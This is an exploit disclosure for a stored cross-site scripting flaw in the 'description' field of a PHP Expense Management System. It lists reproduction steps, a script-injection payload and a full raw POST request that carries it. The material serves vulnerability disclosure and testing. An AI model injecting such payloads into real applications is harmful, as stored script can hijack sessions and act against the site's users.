Expense Management System – ‘description’ Stored Cross Site Scripting
# Exploit Title: Expense Management System - 'description' Stored Cross Site Scripting # Date: 02/12/2020 # Exploit Author: Nikhil Kumar # Vendor Homepage: http://egavilanmedia.com/ # Software Link: http://egavilanmedia.com/expense-management-system/ # Tested On: Ubuntu Vunerable Parameter: "description=" Steps to Reproduce: 1. Open the index.php page using following url http://localhost/Expense-Management-System/index.php click on Add Expense 2. Put a payload on "description=" parameter Payload :- test"><script>alert("XSS")</script> Malicious Request:: POST /Expense-Management-System/expense_action.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 140 Origin: http://localhost DNT: 1 Connection: close Referer: http://localhost/Expense-Management-System/ Cookie: PHPSESSID=45f122ec98900409467ac74f6113ff4a description=test%22%3E%3Cscript%3Ealert("XSS")%3C%2Fscript%3E&amount=1234&date=2020%2F11%2F17&expense_id=&action=Add |